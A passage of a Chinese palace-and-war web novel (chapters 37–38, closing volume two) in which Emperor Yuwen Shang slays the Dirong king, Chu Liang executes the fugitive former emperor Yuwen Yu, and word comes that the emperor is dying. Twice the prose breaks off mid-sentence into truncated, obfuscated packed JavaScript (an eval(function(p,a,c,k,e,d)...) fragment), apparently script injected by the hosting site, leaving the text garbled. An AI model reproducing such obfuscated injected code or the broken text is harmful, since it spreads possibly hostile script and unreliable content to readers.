他娓娓道来,语气里充满了身为人父的骄傲与欣慰,仿佛在描绘世间最珍贵的瑰宝。 “朕决意,立褚昭为太子。”宇文尚的声音斩钉截铁,带着不容置疑的帝王意志,“朕若有万一,遗诏颁布之时,褚良必须在场!他乃太子生父,更是朕的君后!由君后摄政监国,辅佐幼主登基,方是正途,亦是国本稳固之基!王伴伴,你务必谨记!” “老奴……谨遵圣谕!”王德全抱着沉重的木匣,再次跪伏在地,老泪纵横,声音哽咽。他知道,这份遗诏,承载着陛下对君后和太子最深沉的信任与托付,也凝聚着陛下在生死关头,对江山社稷最后的、也是最郑重的安排。 子时将至,风雪更疾! 黑石堡沉重的北门在刺耳的绞盘声中轰然洞开!如同沉睡的巨兽张开了獠牙!早已整装待发的北朝大军,在狂风暴雪中,如同决堤的黑色洪流,无声而迅猛地扑向狄戎大营的方向! 决战,如期打响! 风雪成了最残酷的战场布景。 呼啸的寒风卷着鹅毛大雪,模糊了视线,冻僵了肢体。刀剑碰撞的铿锵声、箭矢破空的尖啸声、战马的嘶鸣声、士兵临死的惨嚎声……所有声音都被风撕扯、扭曲,混合成一片地狱般的喧嚣。 尸骸,在冰冷的雪地上迅速堆积,又被新的风雪覆盖。鲜血泼洒在洁白的雪地上,瞬间凝固成刺目的暗红冰晶,如同大地绽开的狰狞伤口。 宇文尚无法亲自上阵冲杀,他裹着厚重的裘氅,坐镇在临时搭建的、位于黑石堡最高处的指挥台上。刺骨的寒风如刀割面,他却坚持挺直脊背,目光穿透风雪,死死盯着前方混乱的战场。他的存在本身,就是一面不倒的旗帜! 当有将领回报前方胶着时,他甚至不顾劝阻,在王德全的搀扶下,登上更加暴露的城楼垛口!凛冽的风雪几乎要将他掀翻,他剧烈地咳嗽着,脸色惨白如纸,但那双紫眸却燃烧着不屈的火焰!城楼下浴血奋战的将士们,抬头看到风雪中那道屹立的身影,如同注入了强心剂,爆发出更狂热的战吼! 战场左翼,褚良的身影如同鬼魅,在风雪与刀光中穿梭! 他率领的云泽部战士,如同草原上最凶悍的狼群,与狄戎士兵绞杀在一起,悍不畏死!鲜血染红了他玄色的皮甲,分不清是敌人的还是自己的,唯有那双眼睛,冰冷、专注,燃烧着终结这场战争的决绝! 而在右翼,一道火红的身影格外醒目!阿史那云珠!她身着狄戎女子的盛装,却手持北朝的环首刀,在混乱的战场上策马疾驰,用狄戎语向着那些被铎冽抛弃、被风雪折磨、被北朝大军压迫得喘不过气的狄戎士兵高声呼喊, “巴图尔!还有你们!看看你们周围倒下的族人!他们是为谁而死?!是为贪婪冷酷、连你们马匹粮草都要克扣的铎冽吗?!放下武器!长生天在上!投降才有活路!回到你们的牧场和亲人身边去!别再做铎冽的替死鬼了!” 她的声音,如同穿透风雪的号角,精准地刺中了那些本就动摇的狄戎士兵的心! 尤其是被点名的巴图尔,这位以勇猛著称却因部落弱小备受排挤的将领,看着身边不断倒下的同胞,听着云珠公主泣血般的呼喊,眼中最后一丝对铎冽的忠诚彻底崩断! 他猛地将手中的弯刀狠狠插入雪地,发出一声悲愤的怒吼,“不打了!长生天不佑暴君!投降!我们投降!” 巴图尔的倒戈,如同压垮骆驼的最后一根稻草!本就因粮草断绝、冻饿交加而士气低落的狄戎士兵,彻底崩溃了!有人绝望地丢下武器,跪倒在雪地里。有人调转马头,向着风雪深处亡命奔逃。小部落的首领们更是直接 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宇文尚冷冷一笑,正要下令强攻。突然,山洞里传来一阵骚动和推搡声。紧接着,几个衣衫褴褛、满脸惊恐绝望的狄戎士兵被粗暴地推搡了出来,挡在了洞口!他们显然是铎冽最后用来挡箭的肉盾! “放箭……”赵将军正要下令。 “且慢!”宇文尚突然抬手阻止。他锐利的目光扫过那几个被推出来、瑟瑟发抖、眼中只剩下恐惧和求生的狄戎士兵,声音冰冷,“放他们走。” 褚良看了宇文尚一眼,瞬间明白了他的意思——这些士兵,早已失去了斗志,不过是铎冽最后的弃子。杀之无益,徒增杀孽。他未说话,只是定定看了宇文尚片刻。 禁军让开一条路,那几个死里逃生的狄戎士兵,如同惊弓之鸟,连滚带爬地逃离了洞口,消失在茫茫雪原中。 洞内的铎冽显然看到了这一幕,他最后的依仗被轻易瓦解。山洞深处陷入了死一般的寂静。 片刻后,他嘶哑的声音再次响起,却带着一种穷途末路的疯狂和……一丝诡异的诱惑, “宇文尚!乌其乐!本王知道……你们想杀我!但本王手里,还有一个你们绝对想不到的消息!一个足以让你们寝食难安的消息!” 他停顿了一下,似乎在享受这最后的筹码带来的掌控感,然后一字一句,如同毒蛇吐信: “你们以为那个小崽子宇文钰真的死了吗?哈哈哈!他就在本王手里!那个用假死当掩护,窜逃西南,像阴沟里的老鼠一样爬到我面前的南朝皇帝!他带着他的珍宝和毒计,来找本王合作,要取你宇文尚的狗命!” “放本王一条生路!”铎冽的声音陡然拔高,充满了孤注一掷的贪婪,“本王就把那个小皇帝的藏身之处,还有他带来的所有珍宝,统统交给你们!这笔交易,如何?!” 洞口外,风雪似乎瞬间停滞了。 宇文尚和褚良的脸色,在听到“宇文钰”三个字的刹那,同时剧变! 37. 第 37 章 铎冽死了。 死在宇文尚的剑下,死在那处风雪弥漫的山洞口。 没有慷慨激昂的决斗,没有轰轰烈烈的终局。当那个卑劣的狄戎首领用宇文钰——宇文王朝曾经的皇帝、他宇文尚的亲侄儿——作为苟且偷生的筹码时,宇文尚眼中最后一丝作为胜利者的宽宏也彻底熄灭。 剑光如电,带着帝王被彻底触怒的雷霆之威! 铎冽甚至没看清宇文尚是如何出手的,只觉得咽喉一凉,所有的狂妄、贪婪、嘶吼,都被瞬间涌上的冰冷和窒息感堵住。他徒劳地捂住喷涌鲜血的脖子,瞪大的眼中充满了难以置信的惊愕和对死亡的恐惧,最终重重地倒在冰冷的雪地上,溅起一片猩红的雪泥。 宇文尚收剑还鞘,动作干净利落,脸上没有任何表情,唯有眼底深处翻涌着厌恶。 他厌恶铎冽的卑劣,更无法容忍一个狄戎蛮王,如此轻贱地将他宇文氏的皇帝、他的亲侄儿当作货物般交易和侮辱!宇文钰再不堪,再是叛逆,他身上流的也是宇文氏的血,是这王朝曾经名义上的共主!他的尊严不容蛮夷亵渎! “清理此地。”宇文尚的声音冰冷如铁,目光扫过山洞深处那些因首领暴毙而彻底崩溃、跪地求饶的狄戎残兵, “投降者收押,负隅顽抗者,杀!” 离战场数十里外,一片被遗忘的荒芜之地,风雪掩盖的废弃戍边小城的残骸中... 寒风卷着雪沫,刮在脸上如同刀割。 宇文尚和褚良只带了最精锐的数十名亲卫,悄然抵达这片废墟。 他们根据铎冽死前吐露的位置,在一片相对完整的残垣角落,发现了一个被积雪半掩、布满铁锈的地窖入口。 亲卫迅速清理开积雪,撬开沉重的窖门。 一股混合着霉味和微弱炭火气的浑浊空气涌了出来。 地窖内光线极其昏暗,只能隐约看到深处一点微弱的火光。 宇文尚看了褚良一眼,示意他跟在自己身后,然后,举着火把,率先沿着腐朽的木梯走了下去。 亲卫紧随其后,守在洞口和梯口,刀剑出鞘,警惕地注视着下方。 地窖内,微弱的炭火旁,蜷缩着几个身影。 听到头顶的动静和木梯的吱呀声,里面的人明显紧张起来。 “谁?!谁在上面?”一个带着惊惶的年轻声音响起。 紧接着,一个年龄稍长,但同样紧张的声音带着试探和一丝希冀发问,“是大王派来接应我们的人吗?你们带干粮和御寒的衣物了吗?我们快撑不住了!” 他显然以为来者是狄戎首领铎冽的人。 宇文尚的脚步停在木梯最后一级,火把的光芒将他高大的身影投射在斑驳的地窖墙壁上,带着一种无形的压迫感。 他彻骨的声音在地窖中回荡,清晰地砸在每一个人的心上: “朕的侄儿……宇文钰何在?” “北……北皇帝?!” 宇文惠的声音瞬间变成了惊恐的尖叫! 他连滚带爬地躲到角落里那个蜷缩的身影旁边。 角落里的宇文钰如同被针扎了一般猛地弹起! 火光映照下,他憔悴的脸上瞬间褪尽血色,眼中充满了极致的恐惧!他看到了火把下宇文尚那张冰冷威严的脸,更看到了站在宇文尚身侧、那个他以为早已死在死牢里的身影——褚良! “叔……叔父?!你……褚良?!” 宇文钰的声音尖利得变了调,充满了难以置信,“你……你没死?!你还活着?!” 他下意识地后退,背脊抵住了冰冷的墙壁,再无退路。 宇文尚看着侄儿这副惊弓之鸟的模样,眉头紧锁,声音带着沉沉的压迫感,“宇文钰,回答朕!你是如何从海上风暴中脱身的?” 宇文钰没有回答,他的目光死死盯住褚良,仿佛看到了最恐怖的噩梦重现。 巨大的恐惧瞬间转化为扭曲的怨毒,他猛地从怀中抽出那把镶着宝石的匕首,指向褚良,接着又转向宇文尚,声音因恐惧而嘶哑癫狂,“你怎么可能还活着?!你怎么可能和他在一起?!你们……你们是一伙的!你们骗了所有人!” 他握紧匕首,身体因激动而剧烈颤抖,“狄戎大王……铎冽他……他失败了?是不是?!” 宇文尚见他如此失态,尤其是对褚良那充满恶意的指认,眼中不禁厉色一闪,“放肆!宇文钰,放下你的刀!” “放下我的刀?凭什么?哈哈哈哈!”宇文钰像是听到了天大的笑话,癫狂地大笑起来,匕首胡乱挥舞着, “宇文尚!你以为我还是那个任你训斥的无知小儿吗?!你还是我的叔父吗?!你现在是来取我性命的!别装腔作势了!” 说话间,他就要不管不顾地朝宇文尚扑刺过来! “小心!”褚良眼神一冷,手腕微动就要上前。 宇文尚却迅速抬手,隐晦地对他做了一个制止的手势,目光依旧紧锁着宇文钰。 就在宇文钰作势欲扑的瞬间,他的目光扫到了地窖入口处!那里,影影绰绰,至少站着十几名全副武装、杀气凛然的北朝精锐亲卫,冰冷的刀锋在火把下反射着寒光! 如同一盆冰水当头浇下,宇文钰疯狂的动作瞬间僵住,巨大的恐惧和绝望彻底攫住了他! 与此同时,褚良也开口了,他的话如同死刑宣判, “狄戎王铎冽已被你叔父亲手格杀。你的人头,就是铎冽临死前用来换命的筹码。” 这句话如同最后一根稻草,彻底压垮了宇文钰! 他呆呆的看向宇文尚,再转头看看旁边瑟瑟发抖、面无人色的宇文惠,突然,一个极其卑劣的念头瞬间占据了他全部心神! “叔父!叔父饶命啊!”宇文钰“噗通”跪倒在地,涕泪横流,膝行着扑到宇文尚脚边,声音凄厉得如同鬼哭。 “侄儿知错了!侄儿是被奸人蒙蔽!都是他!都是宇文惠这个狗奴才!” 他猛地指向宇文惠,眼中闪过疯狂的怨毒。 “是他日夜在侄儿耳边挑唆,说您害死了父皇!侄儿年少无知,被他蛊惑,才……才做出那等大逆不道之事啊!叔父!侄儿真的知错了!您看!侄儿这就杀了这个离间我们叔侄的奸贼,向您表明心迹!” 话音未落,宇文钰如同疯狗般扑向宇文惠。 宇文惠惊恐地瞪大眼睛,想逃却双腿发软,“陛下!不……” 话音未落,宇文钰的匕首已经狠狠捅进了他的胸膛! 在所有人惊愕的目光中,宇文惠发出一声短促的惨叫。 他的身体抽搐着,死不瞑目的瞪视着眼前这个他一手“辅佐”的皇帝,很快便没了声息。 鲜血汩汩流出,染红了地面。 宇文钰拔出匕首,任由宇文惠的尸体倒地,脸上溅着血点,却带着一种病态的狂热。 他再次跪爬回宇文尚脚边,仰起的脸上还带着讨好的,骇人的假笑。 “叔父,您看!侄儿亲手杀了这个奸贼!侄儿是真心悔悟!求叔父开恩啊!” 宇文尚看着脚下这卑劣血腥的一幕,看着侄儿如同小丑般摇尾乞怜的丑态,巨大的失望和愤怒如同火山般喷发! 他的声音已然颤抖,怒斥道,“孽障!朕本想带你回去,即便不能复位,也必保你一世富贵平安!可你……竟弑杀辅臣,手段如此卑劣残忍,与那狄戎蛮夷有何分别?!朕当年教你读的圣贤书都读到狗肚子里去了吗?!你哪有半分宇文家子孙的样子!简直玷污这身血脉!” 最后一句,几乎是怒吼出来。 “玷污血脉?!”宇文钰听到这句话,像是被踩了尾巴的猫。 他听出来了,宇文尚看来是不打算原谅他了。 他猛地抬起头,眼中爆发出怨毒至极的光芒,他指着宇文尚,发出尖锐刺耳的嘲笑,“哈哈哈!宇文尚!你说我玷污血脉?!那你呢?!你一个浣衣局贱婢生的儿子!一个连自己生母都护不住的杂种!你有什么资格说我玷污宇文家的血脉?!这高贵的紫血,流在你身体里,才是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“宇文尚,你确实不是什么圣人,但也不至于像宇文钰一样猪狗不如。” “他和你有叔侄血亲,或许你下不了手。但我不一样。” 褚良的眼中是深深的厌恶和仇视,他的眼睛逼视着宇文钰,吓得小皇帝两股战战,手中的刀都滑落在地。 褚良的刀锋微微下压,血珠沿着宇文钰的脖子滑落,地窖里已然响起宇文钰呜咽之声。 褚良道, “当年静园之中,我念你年幼,冒死放你出宫,可你转手便欲置我于死地!此仇,今日当报!” “你襁褓登基,御宇十余载,纵容奸佞,致使南北分裂,生灵涂炭,南方饿殍遍野!此债,我代天下苍生,今日一并向你讨还!” 褚良的声音陡然拔高,带着一种斩断一切的最后通牒, “退后,宇文尚!这是我与宇文钰的恩怨!生死——与你无关!” 话音落下的瞬间—— “呃啊——!!!” 一声短促而凄厉到极点的痛呼,伴随着利刃切割之声,骤然响起! 褚良手中的刀,没有丝毫犹豫,干脆利落地抹过了宇文钰的脖颈! 温热的鲜血如同喷泉般激射而出,溅在冰冷的地窖墙壁和褚良冷厉的侧脸上! 宇文钰的眼睛瞪得滚圆,充满了极致的恐惧、不甘和难以置信,身体如同被抽掉了骨头般软软倒地,抽搐了几下,便再无声息。 被他挟持的老宦官也如同烂泥般瘫倒,吓得昏死过去。 几乎在宇文钰倒下的同时,宇文尚只觉得心脏像是被一只无形的大手狠狠攥住,猛地一抽!一股难以言喻的剧痛伴随着强烈的眩晕感瞬间袭来!他眼前一黑,再也支撑不住,“噗通”一声重重跪倒在地! 地窖内,只剩下浓重的血腥味,以及褚良持刀而立、如同浴血修罗般的背影。 38. 第 38 章 狄戎大王铎冽授首,叛逆皇帝宇文钰伏诛。困扰北朝多年的北境边患与分裂之痛,终于在风雪初霁的冬日画上了句号。 尘埃落定后的第一件事,便是处理宇文钰的后事。 老宦官在经历了地窖的惊魂后,早已是惊弓之鸟,主动将小皇帝精心策划的“金蝉脱壳”之计和盘托出: 宇文钰找了一个身形样貌与他相似的青年作为替身登上那艘注定要‘遇难’的御船!他自己则带着宦官和宇文惠,还有几个心腹死士,扮作商队,绕行西南险峻山路,一路北上联络狄戎王铎冽。 真相大白。宇文钰的假死脱身,北上投敌,每一步都充满了阴险的算计和对家国的背叛。消息传开,群臣激愤,纷纷上奏要求将宇文钰以叛逆之罪挫骨扬灰。 然而,面对汹涌的舆情和确凿的叛逆证据,宇文尚却陷入了长久的沉默。他独自在停放宇文钰棺椁的帐篷里待了很久。最终,他顶着巨大的压力,下达了旨意: “宇文钰,虽行悖逆,终是宇文血脉,朕之亲侄。其罪难恕,其情可悯。以亲王之礼,厚葬之。灵柩迁入皇陵西侧妃园寝,着宗□□妥善安置,勿使荒芜。” 这道旨意,让许多大臣愕然不解,认为陛下太过仁慈,有损国法威严。但宇文尚力排众议,态度坚决。他亲自为宇文钰的棺椁选定了位置,亲手在棺椁前放下一束白菊。那一刻,他挺拔的背影在寒风中显得格外孤寂。 他厚葬的,或许不仅是那个叛逆的侄儿,更是自己心中对血脉亲情的最后一丝执念,以及对那个曾经抱在怀中、天真懵懂孩童的最后告别。 随着宇文钰入土为安,宇文尚以雷霆手段整编狄戎降部,安抚云泽部及北境各部族,宣告天下大定,南北一统。 黑石堡乃至整个北境,都沉浸在劫后余生的喜悦与对未来的期盼之中。将士们卸甲归田的呼声,百姓们重建家园的忙碌,都预示着太平盛世的曙光。 京城八百里加急送来了贺表与封赏旨意,百官称颂,万民归心。这本该是宇文尚一生中最意气风发、功业彪炳的时刻。然而,他心中的喜悦却如同投入深潭的石子,只激起几圈微澜,便迅速被一层更厚重的、名为“离别”的阴霾所覆盖。 北境战事结束了。 这个认知像一块冰冷的巨石,沉甸甸地压在宇文尚心头。这意味着,他再也没有任何理由,任何借口,能将褚良强留在身边。那夜中军大帐中褚良冰冷决绝的话语——“宇文尚,我恨你。这件事,永远都不会变。”——如同最锋利的冰锥,无时无刻不在刺痛着他。 尤其是在经历了生死,经历了对往事的痛苦反思,尤其是在他真正开始尝试改变、尝试去理解褚良的立场和痛苦之后,宇文尚愈发清晰地认识到,自己当年施加在褚良身上的伤害,是何等的深重与不可饶恕。 褚良那样一个光明磊落、重情重义的人,在经历了那样的折辱与背叛后,在自己一次次给予他复仇机会时,却始终没有动手,反而屡次救他于危难! 这份隐忍,这份在恨意中依旧坚守的、近乎圣洁的品格,让宇文尚在深深的悔恨之余,更生出一种近乎卑微的敬重与仰望。 他不敢再奢求褚良的原谅,更不敢想象,褚良会用怎样的目光看待如今这个试图“改过自新”的自己。或许,在褚良眼中,他宇文尚无论做什么,都永远洗刷不掉那份卑劣的底色。 北境的最后一晚,寒风似乎也带上了离别的萧索。 宇文尚屏退了所有随从,孤身一人,踏着清冷的月色,来到了褚良的营帐外。 帐内透出温暖的烛光,映着人影晃动。 他掀帘而入。帐内,褚良正坐在矮榻边,静静地看着熟睡的褚昭。小家伙在睡梦中微微嘟着嘴,长长的睫毛在眼下投下淡淡的阴影,小脸上带着无忧无虑的恬静。 听到脚步声,褚良抬起头,看到是宇文尚,眼中闪过一丝复杂,却并未像往常那样立刻下逐客令。 他只是沉默地看着他。 宇文尚也没有说话,他走到榻边,在褚良对面的矮凳上轻轻坐下。两人之间隔着熟睡的孩子,目光都落在褚昭那张融合了两人特征的小脸上。帐内一片静谧,只有炭火偶尔发出的噼啪声和孩子均匀的呼吸声。 一种近乎悲凉的平静弥漫在空气里。 许久,宇文尚低沉的声音打破了沉默,带着从未有过的疲惫和坦诚,剖开了自己最深的、血淋淋的疮疤, “那天……宇文钰说的那些……关于我生母的事……是真的。” 他的目光没有看向褚良,而是落在跳跃的烛火上,仿佛陷入了那段不堪回首的岁月。 “我的生母,只是浣衣局一个最低贱的婢女。是父皇一次醉酒后的……意外让她生下了我。但她并未母凭子贵,依旧是最低贱的侍妾。贵妃……先帝的生母,因为不得宠,就把所有怨气都撒在她身上,百般折辱……而朕的父皇……” 宇文尚的声音带着明显的颤抖,“他明明知道,却默许,甚至……用这种方式去讨好贵妃的家族,换取他们的支持。” “朕亲眼见过……见过他刚刚……享用过母亲的服侍,转手就给了她一耳光……骂她……骂她是没用的贱人,光长了一张脸有什么用?为什么不是权臣的女儿……那样,她的儿子也许就能登上皇位?可她只是个下贱的婢女……不值得父皇得罪权贵……” 他停顿了许久,仿佛用尽了全身力气,才继续道,声音干涩沙哑,“后来……母亲就在那冰冷的宫殿里……悬梁自尽了。草席一卷……埋进了荒野。” 宇文尚抬起头,看向褚良,眼中没有泪,只有一片深不见底的荒芜和自嘲, “所以,宇文钰骂得对。朕骨子里,大概就是个偏执、扭曲、自私的人。从小看着那样的……‘情爱’,又怎么可能学会正常的……去爱一个人?我只知道,想要的东西,就要牢牢攥在手里,哪怕……用最不堪的手段。我怕失去,怕像母亲一样,怕……” 他深吸一口气,目光再次落到褚昭安睡的小脸上,语气带着一种近乎认命的平静,“这些话,我这辈子没想过对任何人说。但对你……褚良,我觉得没什么好遮掩的。我就是这样的一个人。卑劣,不堪。我……不会再求你原谅了。” 宇文尚的目光转向褚良,带着一种郑重的托付,“朕只有你一个君后。宗庙玉蝶之上,你的名字,是朕亲手刻上去的,你是朕唯一的结发之妻。昭昭……朕已立为太子。遗诏与虎符,朕已交托给王德全与兵部尚书。” 他看着褚良瞬间蹙紧的眉头,知道他想说什么,便抢先一步道,“朕是说……万一。万一朕有什么不测,希望你能……看在昭昭的份上,看在天下苍生的份上……辅佐他。他还小,需要你。” 褚良的眉头紧锁,看着宇文尚苍白得近乎透明的脸,心中涌起一股难以言喻的烦躁和一丝……莫名的恐慌。他以为宇文尚又在用这种“托孤”的姿态博取同情,试图用责任捆绑他。 他断然拒绝,声音冷硬,“陛下春秋鼎盛,何必说这些不吉之言!昭昭自有我这个父亲教导,不劳陛下费心。北朝江山,自有北朝大臣辅佐,我褚良只愿带族人归隐草原,永不踏入京城半步!” 宇文尚看着褚良眼中清晰的抗拒和疏离,嘴角泛起一丝苦涩至极的笑意。他没有再争辩,只是深深地、近乎贪婪地最后看了一眼熟睡的儿子,然后缓缓站起身。 “保重……良儿。” 他低低地说了一句,声音轻得如同叹息,随即转身,掀开帐帘,步履有些踉跄地融入了外面冰冷的夜色中。 褚良看着他消失的背影,帐帘落下,隔绝了视线,也隔绝了那声几不可闻的叹息。他心头莫名堵得慌,宇文尚那苍白到不正常的脸色和最后那句“保重”,像一根刺,扎在了他心底。 翌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个认知让他感到烦躁和不安。他强迫自己不去想,告诉自己那都是过去,宇文尚不会改变,他永远是那个需要提防的暴君。可当他看着昭昭那张越来越酷似宇文尚的小脸时,那份刻意筑起的冰冷堤防,总会在不经意间松动。 他时常走神,有时在处理族务时,思绪会飘到千里之外的京城。宇文尚的身体……那晚他的脸色实在太差了。宫里那么多太医,应该……会好起来吧?或许等他好起来,又会变回那个刚愎自用、掌控一切的帝王?这个念头,又让褚良的心沉了下去,涌起一股难以言喻的失望和……一丝连他自己都不愿承认的担忧。 就在这种矛盾纠结、心绪不宁中,日子一天天滑过。 草原的冰雪开始有了消融的迹象,春天的气息在寒风中悄然萌动。 然而,没等到真正的春暖花开,一骑快马如同离弦之箭,带着千里风尘和令人窒息的紧迫感,冲进了黑石堡云泽部的营地! 马上骑士滚鞍落马,甚至来不及喘匀气息,便将一个密封的、盖着皇室火漆印鉴的铜筒,双手高举过头,呈给闻讯赶来的褚良,声音嘶哑而急促, “乌其乐首领!京城八百里加急密报!” “加急密保?” 褚良心头涌上不详的预感! 他下意识地接过那沉甸甸的铜筒,手指触碰到冰冷的金属,却感觉那寒意瞬间渗透了四肢百骸。他试图打开铜筒,手指却僵硬得不听使唤。脑海中一片空白,只剩下宇文尚那晚苍白如纸的脸和那句带着诀别意味的“保重”。 “哐当”一声轻响。 那封承载着惊天噩耗的密报,从褚良瞬间失力的手中滑落,掉在了冰冷的、尚未完全消融的雪地上。 “陛下病危!恳请乌其乐首领携子速速进京!” 第二卷完